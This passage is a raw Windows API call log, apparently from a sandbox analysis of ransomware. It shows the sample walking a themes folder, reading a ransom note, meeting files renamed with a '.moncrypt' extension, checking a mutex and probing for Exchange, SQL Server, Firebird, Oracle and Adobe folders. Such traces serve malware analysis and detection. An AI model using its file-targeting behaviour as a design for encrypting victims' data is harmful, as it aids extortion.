(lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.582] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.582] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0052.582] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.582] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.582] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0052.582] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.582] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0052.582] CloseHandle (hObject=0x18c) returned 1 [0052.582] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54f1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0052.582] GetLastError () returned 0x12 [0052.582] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0052.582] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.582] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.582] GlobalUnlock (hMem=0x44000c) returned 0 [0052.582] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.583] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.583] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.583] GlobalUnlock (hMem=0x44000c) returned 0 [0052.583] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.583] GlobalUnlock (hMem=0x440004) returned 0 [0052.583] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x408570e0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x408570e0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0052.583] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0052.583] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.583] GlobalLock (hMem=0x440004) returned 0x550170 [0052.583] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.583] GlobalUnlock (hMem=0x440004) returned 0 [0052.583] GlobalLock (hMem=0x440004) returned 0x550170 [0052.583] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.583] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.583] GlobalUnlock (hMem=0x440004) returned 0 [0052.583] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.583] GlobalUnlock (hMem=0x44000c) returned 0 [0052.583] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.583] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x408570e0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x408570e0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.583] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.583] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.583] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.583] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.583] GlobalUnlock (hMem=0x44000c) returned 0 [0052.583] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.584] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.584] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.584] GlobalUnlock (hMem=0x44000c) returned 0 [0052.584] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.584] GlobalUnlock (hMem=0x440004) returned 0 [0052.584] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.584] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40830f80, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x40830f80, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40830f80, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0052.584] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.584] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.584] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.584] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.584] GlobalUnlock (hMem=0x440004) returned 0 [0052.584] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.584] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.584] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.584] GlobalUnlock (hMem=0x440004) returned 0 [0052.584] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.584] GlobalUnlock (hMem=0x44000c) returned 0 [0052.584] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.584] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a2e300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17a2e300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xd1aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL.ELM.moncrypt", cAlternateFileName="PIXELE~1.MON")) returned 1 [0052.584] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.584] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.584] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.584] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.584] GlobalUnlock (hMem=0x44000c) returned 0 [0052.584] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.584] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.584] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.585] GlobalUnlock (hMem=0x44000c) returned 0 [0052.585] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.585] GlobalUnlock (hMem=0x440004) returned 0 [0052.585] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.585] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a44b570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x21b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL.INF", cAlternateFileName="")) returned 1 [0052.585] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.585] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.585] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.585] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.585] GlobalUnlock (hMem=0x440004) returned 0 [0052.585] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.585] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.585] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.585] GlobalUnlock (hMem=0x440004) returned 0 [0052.585] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.585] GlobalUnlock (hMem=0x44000c) returned 0 [0052.585] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.585] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x639, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0052.585] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.585] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.585] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.585] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.585] GlobalUnlock (hMem=0x44000c) returned 0 [0052.585] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.585] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.585] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.585] GlobalUnlock (hMem=0x44000c) returned 0 [0052.585] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.586] GlobalUnlock (hMem=0x440004) returned 0 [0052.586] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.586] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x55b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 1 [0052.586] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.586] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.586] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.586] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.586] GlobalUnlock (hMem=0x440004) returned 0 [0052.586] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.586] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.586] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.586] GlobalUnlock (hMem=0x440004) returned 0 [0052.586] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.586] GlobalUnlock (hMem=0x44000c) returned 0 [0052.586] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.586] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x55b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG.moncrypt", cAlternateFileName="THMBNA~1.MON")) returned 0 [0052.586] GetLastError () returned 0x12 [0052.586] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0052.586] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE", cAlternateFileName="")) returned 1 [0052.587] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0052.587] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0052.587] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.587] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.587] GlobalUnlock (hMem=0x44000c) returned 0 [0052.587] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.587] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.587] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.587] GlobalUnlock (hMem=0x44000c) returned 0 [0052.587] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.587] GlobalUnlock (hMem=0x440004) returned 0 [0052.587] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.587] GlobalLock (hMem=0x440004) returned 0x550170 [0052.587] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.587] GlobalUnlock (hMem=0x440004) returned 0 [0052.587] GlobalLock (hMem=0x440004) returned 0x550170 [0052.587] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.587] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.587] GlobalUnlock (hMem=0x440004) returned 0 [0052.587] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.587] GlobalUnlock (hMem=0x44000c) returned 0 [0052.587] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.587] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE", len=0x3f | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE") returned 1 [0052.587] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.587] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.587] GlobalUnlock (hMem=0x44000c) returned 0 [0052.588] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.588] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.588] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.588] GlobalUnlock (hMem=0x44000c) returned 0 [0052.588] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.588] GlobalUnlock (hMem=0x440004) returned 0 [0052.588] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a3a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@夐U壤U企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0052.589] GetLastError () returned 0x3 [0052.589] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\profile\\") returned 0x40 [0052.589] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0052.590] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0052.590] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a3a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@塤U企@\x18㿬Q\x181")) returned 0xffffffff [0052.592] GetLastError () returned 0x2 [0052.592] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\profile\\") returned 0x40 [0052.592] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0052.592] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0052.592] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a3a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@뭼R企@\x18?T\x18;")) returned 0xffffffff [0052.592] GetLastError () returned 0x2 [0052.592] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\profile\\") returned 0x40 [0052.592] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a350, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0052.593] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0052.593] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a3a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@Q企@\x18?T\x18D")) returned 0xffffffff [0052.593] GetLastError () returned 0x2 [0052.593] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\profile\\") returned 0x40 [0052.593] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a350, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0052.593] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0052.593] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a3a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@塤U企@\x18뭼R\x18j")) returned 0xffffffff [0052.593] GetLastError () returned 0x2 [0052.594] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\profile\\") returned 0x40 [0052.594] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0052.594] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0052.594] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a3a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="儔R䱠@Q企@\x18?T\x18q")) returned 0xffffffff [0052.594] GetLastError () returned 0x2 [0052.594] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\", cchLength=0x40 | out: lpsz="c:\\program files\\common files\\microsoft shared\\themes14\\profile\\") returned 0x40 [0052.594] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a350, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\뭸RP") returned 6 [0052.594] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 7 [0052.594] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a3a8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, 